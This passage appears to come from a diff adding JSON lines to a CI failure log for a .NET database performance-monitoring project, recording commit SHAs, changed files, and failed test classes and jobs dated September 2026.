eepLiveTests","Darling.Tests.RawWindowFloorMcpLiveTests","Darling.Tests.RdsLogTimezoneReadLiveTests","Darling.Tests.ReadLatencyFlushLiveTests","Darling.Tests.ReadLatencyWebRecordingTests","Darling.Tests.RecurrenceLabelStoreReadTests","Darling.Tests.RetentionChunkGeometryLiveTests","Darling.Tests.RetentionHoldAndCadenceRawRedirectLiveTests","Darling.Tests.RetentionReevaluationLiveTests","Darling.Tests.RollupBackfillLiveTests","Darling.Tests.RuntimePreconditionMissLivePostgresTests","Darling.Tests.ScramVerifierLiveTests","Darling.Tests.SelfAlertDeliveryStampStoreLivePostgresTests","Darling.Tests.ServerIdentityFromStoreTests","Darling.Tests.ServerInventoryFleetMetricsLiveTests","Darling.Tests.ServerListAndSummaryPlanShapeTests","Darling.Tests.ServerWatermarkCacheRunnerLiveTests","Darling.Tests.SharedBaselineCacheLiveTests","Darling.Tests.SqlServerStoreTileBehaviourBatchQueryMemoryTests","Darling.Tests.SqlServerStoreTileBehaviourTests","Darling.Tests.StoreConfigProviderTests","Darling.Tests.StoreCopyPhaseLivePostgresTests","Darling.Tests.StoreLogGroupingLiveTests","Darling.Tests.StoreLogRemaskLiveTests","Darling.Tests.StoreMetricsLatestSkipScanLiveTests","Darling.Tests.StoreMetricsSummaryFirstLivePostgresTests","Darling.Tests.StoreSelfMetricsTests","Darling.Tests.StoreSelfMetricsTickRecoveryLiveTests","Darling.Tests.StoreSessionTimeZoneLiveTests","Darling.Tests.StoreSizeCacheLiveTests","Darling.Tests.StoreToastAndCheckpointerLivePostgresTests","Darling.Tests.SuccessorDailyLiveTests","Darling.Tests.TempDbCeilingStoreTests","Darling.Tests.TimeHonestyRungLivePostgresTests","Darling.Tests.TimescaleAggregateCompressionTests","Darling.Tests.TimescaleSupportTests","Darling.Tests.TopCpuQueriesTextLiveTests","Darling.Tests.TopProceduresHourlyRoutingLiveTests","Darling.Tests.TopQueriesHourlyRoutingLiveTests","Darling.Tests.TrendBucketingLiveTests","Darling.Tests.TrendFamilyBucketingLiveTests","Darling.Tests.TrendPayloadBudgetLiveTests","Darling.Tests.TuningDropLockRecoveryLiveTests","Darling.Tests.TuningReaderBudgetLiveTests","Darling.Tests.UncorroboratedRouteStoreKnobTests","Darling.Tests.ViewerApplicationNameLiveTests","Darling.Tests.ViewerBlockingDepthLivePostgresTests","Darling.Tests.ViewerBlockingStatsLivePostgresTests","Darling.Tests.ViewerBlockingTrendBucketingLivePostgresTests","Darling.Tests.ViewerCalendarRetentionLivePostgresTests","Darling.Tests.ViewerCollectionCaveatsLivePostgresTests","Darling.Tests.ViewerConfigChangesLivePostgresTests","Darling.Tests.ViewerConfigurationLivePostgresTests","Darling.Tests.ViewerCpuSchedulerLivePostgresTests","Darling.Tests.ViewerCpuSessionsPlanCacheTrendBucketingLiveTests","Darling.Tests.ViewerCpuTempDbLivePostgresTests","Darling.Tests.ViewerDailyHealthLivePostgresTests","Darling.Tests.ViewerDeadlockSeverityLivePostgresTests","Darling.Tests.ViewerFileIoBlockingLivePostgresTests","Darling.Tests.ViewerFinOpsIntervalHonestLiveTests","Darling.Tests.ViewerFleetRollupLivePostgresTests","Darling.Tests.ViewerLatchSpinlockLivePostgresTests","Darling.Tests.ViewerMemoryLivePostgresTests","Darling.Tests.ViewerOverviewLanesLivePostgresTests","Darling.Tests.ViewerPerfmonRunningJobsLivePostgresTests","Darling.Tests.ViewerPlanCacheLivePostgresTests","Darling.Tests.ViewerPlanHostLivePostgresTests","Darling.Tests.ViewerQueriesLivePostgresTests","Darling.Tests.ViewerQueriesRestLivePostgresTests","Darling.Tests.ViewerQueryTrendBucketingLiveTests","Darling.Tests.ViewerRecommendationsLivePostgresTests","Darling.Tests.ViewerSchemaVersionGateTests","Darling.Tests.ViewerSessionStatsLivePostgresTests","Darling.Tests.ViewerTrendBucketingLiveTests","Darling.Tests.ViewerTrendRoutingLivePostgresTests","Darling.Tests.ViewerW2aLivePostgresTests","Darling.Tests.ViewerWaitStatsLivePostgresTests","Darling.Tests.ViewerWave3LivePostgresTests","Darling.Tests.WaitRateTileReadCountLiveTests","Darling.Tests.WaitStatisticsArtifactSqlEquivalenceLiveTests","Darling.Tests.WebExceptionTextCensusTests","Darling.Tests.XminHorizonPersistenceReadTests","PerformanceMonitor.Darling.Tests.CpuRankingLiveTests","PerformanceMonitor.Darling.Tests.DistinctTextsLiveTests","PerformanceMonitor.Darling.Tests.EmptySupersededBaselineLiveTests","PerformanceMonitor.Darling.Tests.HostObjectRollupLiveTests","PerformanceMonitor.Darling.Tests.RetiredBaselineAggregateLiveTests","PerformanceMonitor.Darling.Tests.StoreConnectionSelfTestLiveTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-27","head_sha":"962b3f3eef41eb2e727884e0091a859b40f63603","event":"pull_request","changed_files":[".github/workflows/build.yml"],"failed_classes":["Darling.Tests.PgLogEventMetricsParserTests","Darling.Tests.PgLogEventsPipelineTests","Darling.Tests.RdsLogEventIngestorTimezoneTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)","Darling PG tests (2)","Darling whole-tree guards"]}
+{"date":"2026-09-27","head_sha":"c7f73a53296bed09213e5fef15312109b0a36a7e","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.PgLogEventsPipelineTests","Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["build","Darling PG tests (0)","Lite tests (1)"]}
+{"date":"2026-09-27","head_sha":"a178a7e48a2486fb3cd9b894faa170acdc976199","event":"pull_request","changed_files":[".github/workflows/build.yml"],"failed_classes":["Darling.Tests.PgLogEventMetricsLivePostgresTests","Darling.Tests.PgLogEventMetricsParserTests","Darling.Tests.PgLogEventsLivePostgresTests","Darling.Tests.PgLogEventsPipelineTests","Darling.Tests.RdsLogEventIngestorTimezoneTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (2)","Darling PG tests (1)","Darling whole-tree guards"]}
+{"date":"2026-09-27","head_sha":"119d02272e279d9590b4233fa896434bb8638340","event":"pull_request","changed_files":["Darling/Darling.Tests/AgGroupIdRungTests.cs","Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/CaggGroupIndexDropRungTests.cs","Darling/Darling.Tests/CaggGroupIndexDropUpgradeLiveTests.cs","Darling/Darling.Tests/IntervalDedupMaterializationIndexesTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/PgSchemaGeneratorTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.FleetSweepStoreLivePostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-27","head_sha":"b537c8dc31cb716ccc27defbdde15126012161af","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.PgLogEventsPipelineTests","Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["Lite tests (1)","Darling PG tests (0)","build"]}
+{"date":"2026-09-27","head_sha":"8a14e42d5a0539e5b4a3d09238f90e1d34edf82c","event":"pull_request","changed_files":["PerformanceMonitor.Collectors/PgLogEntryAssembler.cs"],"failed_classes":["Darling.Tests.PgDeadlocksCsvlogLiveTests","Darling.Tests.PgLogEventsLivePostgresTests","Darling.Tests.PgLogEventsPipelineTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (1)","Darling whole-tree guards"]}
+{"date":"2026-09-28","head_sha":"cbc658652efdc33dc69e7ee223005f87159168fd","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-28","head_sha":"14a060ababcbf5828a3240e374ae1d9ab9db6c34","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-28","head_sha":"d8242253c2fd1e1ad08f8ae8f95215ebb1e33460","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/RdsLogEventIngestorTimezoneTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","Lite.Tests/PgLoggingCollectorGateTests.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.PgLogEventsPipelineTests","Darling.Tests.RdsLogEventIngestorTimezoneTests","Darling.Tests.StoreLogClassifierTests","Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["Darling PG tests (2)","Lite tests (1)","build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"f4a1453b88a1092d354edf9836dddcf9b2bc0a11","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/RdsLogEventIngestorTimezoneTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","Lite.Tests/PgLoggingCollectorGateTests.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-28","head_sha":"3f6fa5c0c2f0c242b8a87ee1f14fc375ffe3f13d","event":"pull_request","changed_files":["Darling/Darling.Tests/CompressAfterStaggerLiveTests.cs","Darling/Darling.Tests/CompressAfterStaggerTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"c1fcf792d4fd328921dd8fec03a9102a6067d6eb","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs","Darling/Darling.Tests/RdsLogEventIngestorTimezoneTests.cs","Darling/Darling.Tests/StoreLogClassifierTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/PerformanceMonitor.Darling.Storage/StoreLogClassifier.cs","Lite.Tests/PgLoggingCollectorGateTests.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests","Lite.Tests.PgLoggingCollectorGateTests"],"failed_jobs":["Darling PG tests (2)","Lite tests (1)"]}
+{"date":"2026-09-28","head_sha":"fac9f8c0cdf78c6e9d3f1eca0306d19de76039db","event":"pull_request","changed_files":["Darling/Darling.Tests/BenefitScorerWiringTests.cs","Darling/Darling.Tests/PlanViewerBenefitDisplayTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Lite/Analysis/DrillDownCollector.Plans.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAdvisoryAggregator.cs","PerformanceMonitor.PlanAnalysis/PlanAnalysisPipeline.cs","PerformanceMonitor.PlanAnalysis/PlanWarningDisplay.cs","PerformanceMonitor.Ui/PlanViewerControl.Properties.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["Darling.Tests.PgWaitSamplerLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-28","head_sha":"89921c2ea8e2404347be4d2320332e344fee19f4","event":"pull_request","changed_files":["Darling/Darling.Tests/RollupFloorCacheLiveTests.cs","Darling/Darling.Tests/RollupFloorCacheTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.IntervalHonestHourlyRollupLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-28","head_sha":"8f33a24e5984da4b432858d9dfd68f4dacd8337c","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanSync4512PostParseTests.cs","Darling/Darling.Tests/PlanSync4512Tests.cs","Darling/Darling.Tests/PlanSync4514Tests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Lite/Analysis/DrillDownCollector.Plans.cs","PerformanceMonitor.PlanAnalysis/BenefitScorer.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAnalyzer.cs","PerformanceMonitor.PlanAnalysis/PlanLayoutEngine.cs","PerformanceMonitor.PlanAnalysis/PlanModels.cs","PerformanceMonitor.PlanAnalysis/PlanStatements.cs","PerformanceMonitor.PlanAnalysis/ShowPlanParser.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-28","head_sha":"98646b56d32a16cc6ea37574ad6a3de7b051a704","event":"pull_request","changed_files":["Darling/Darling.Tests/BenefitScorerWiringTests.cs","Darling/Darling.Tests/PgWaitSamplerLiveTests.cs","Darling/Darling.Tests/PlanViewerBenefitDisplayTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Lite/Analysis/DrillDownCollector.Plans.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAdvisoryAggregator.cs","PerformanceMonitor.PlanAnalysis/PlanAnalysisPipeline.cs","PerformanceMonitor.PlanAnalysis/PlanWarningDisplay.cs","PerformanceMonitor.Ui/PlanViewerControl.Properties.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-28","head_sha":"411d87afbe399342ded657d1651d44f30caab4a6","event":"pull_request","changed_files":["Darling/Darling.Tests/RollupFloorCacheLiveTests.cs","Darling/Darling.Tests/RollupFloorCacheTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-28","head_sha":"3e1ccb6ac7a365653f9da7e9766548729c299f28","event":"pull_request","changed_files":["Lite.Tests/FinOpsTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-28","head_sha":"481acb33ea1c7aa9fdcfd32868179275442eb1f5","event":"pull_request","changed_files":["Lite.Tests/FinOpsTests.cs","Lite.Tests/TestDataSeeder.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FinOpsTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-28","head_sha":"7b24bc13ce1c0883018fc5b36f0eeacba98ea3c6","event":"pull_request","changed_files":["Darling/Darling.Tests/LiteAnalysisServiceCancellationSourceTests.cs","Lite.Tests/LiteAnalysisCancellationTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Mcp/McpAnalysisTools.cs"],"failed_classes":["PerformanceMonitorLite.Tests.LiteAnalysisCancellationTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-28","head_sha":"fc2901105b48a239f39a7d6f8a6a22a1c70df497","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingAgReaderTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpAgTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests","Darling.Tests.DarlingMcpAgToolsLivePostgresTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"848ae6cda53ffa560c096dc7ed300845ebd3b416","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingAgReaderTests.cs","Darling/Darling.Tests/DarlingMcpAgToolsTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpAgTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAgReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs"],"failed_classes":["Darling.Tests.DarlingMcpAgToolsLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-28","head_sha":"6fb64ded261eb330697d0cc64162b31101b3d748","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanSync4530Tests.cs","Darling/Darling.Tests/PlanSync4535ConfigPlumbingTests.cs","Darling/Darling.Tests/PlanSync4535NodeRulesATests.cs","Darling/Darling.Tests/PlanSync4535NodeRulesBTests.cs","Darling/Darling.Tests/PlanSync4535RuleNumberCensusTests.cs","Darling/Darling.Tests/PlanSync4535SeverityOverrideTests.cs","Darling/Darling.Tests/PlanSync4535StatementRulesTests.cs","Darling/Darling.Tests/PlanSync4566LegacyMarkerTests.cs","PerformanceMonitor.PlanAnalysis/AnalyzerConfig.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAnalysisPipeline.cs","PerformanceMonitor.PlanAnalysis/PlanAnalyzer.cs","PerformanceMonitor.PlanAnalysis/PlanModels.cs","PerformanceMonitor.PlanAnalysis/PlanStatements.cs","PerformanceMonitor.PlanAnalysis/PlanWarningDisplay.cs","PerformanceMonitor.PlanAnalysis/ServerMetadata.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["build","Darling PG tests (2)"]}
+{"date":"2026-09-28","head_sha":"19583c0276360aa9ef2ec9b10f0952a14f78539f","event":"pull_request","changed_files":["Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs","Darling/Darling.Tests/PlanSync4530Tests.cs","Darling/Darling.Tests/PlanSync4535ConfigLoadingTests.cs","Darling/Darling.Tests/PlanSync4535ConfigPlumbingTests.cs","Darling/Darling.Tests/PlanSync4535NodeRulesATests.cs","Darling/Darling.Tests/PlanSync4535NodeRulesBTests.cs","Darling/Darling.Tests/PlanSync4535RuleNumberCensusTests.cs","Darling/Darling.Tests/PlanSync4535SeverityOverrideTests.cs","Darling/Darling.Tests/PlanSync4535StatementRulesTests.cs","Darling/Darling.Tests/PlanSync4566LegacyMarkerTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.QueryPerf.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Plans.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerSettings.cs","Darling/PerformanceMonitor.Darling.Viewer/WaitDrillDownWindow.xaml.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","Lite/App.xaml.cs","Lite/Controls/ServerTab.Plans.cs","Lite/Mcp/McpPlanTools.cs","Lite/config/settings.sample.json","PerformanceMonitor.PlanAnalysis/AnalyzerConfig.cs","PerformanceMonitor.PlanAnalysis/ConfigLoader.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAdvisoryAggregator.cs","PerformanceMonitor.PlanAnalysis/PlanAnalysisPipeline.cs","PerformanceMonitor.PlanAnalysis/PlanAnalyzer.cs","PerformanceMonitor.PlanAnalysis/PlanModels.cs","PerformanceMonitor.PlanAnalysis/PlanStatements.cs","PerformanceMonitor.PlanAnalysis/PlanWarningDisplay.cs","PerformanceMonitor.PlanAnalysis/ServerMetadata.cs","PerformanceMonitor.Ui/PlanViewerControl.xaml.cs"],"failed_classes":["Darling.Tests.FleetSweepWebFeedTests","Darling.Tests.SharedBaselineCacheTests","PerformanceMonitorLite.Tests.SettingsSampleTests"],"failed_jobs":["Lite tests (0)","Darling PG tests (2)","Darling PG tests (1)","build"]}
+{"date":"2026-09-28","head_sha":"9aa0864d286037294a44853d85d547949f567b35","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanSync4530DrillDownLiveTests.cs","Darling/Darling.Tests/PlanSync4530EntryPointsTests.cs","Darling/Darling.Tests/PlanSync4530ReaderLiveTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingServerMetadataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PerformanceMonitor.Darling.Storage.csproj","Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerActualPlanFlow.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Plans.cs","Darling/PerformanceMonitor.Darling.Viewer/WaitDrillDownWindow.xaml.cs","Lite.Tests/PlanServerMetadataReaderTests.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Controls/FinOpsTab.xaml.cs","Lite/Controls/ServerTab.Plans.cs","Lite/Mcp/McpPlanTools.cs","Lite/Services/LocalDataService.PlanServerMetadata.cs","Lite/Windows/PlanViewerWindow.xaml.cs","Lite/Windows/ProcedureHistoryWindow.xaml.cs","Lite/Windows/QueryStatsHistoryWindow.xaml.cs","Lite/Windows/QueryStoreHistoryWindow.xaml.cs","Lite/Windows/WaitDrillDownWindow.xaml.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs","PerformanceMonitor.PlanAnalysis/PlanAdvisoryAggregator.cs","PerformanceMonit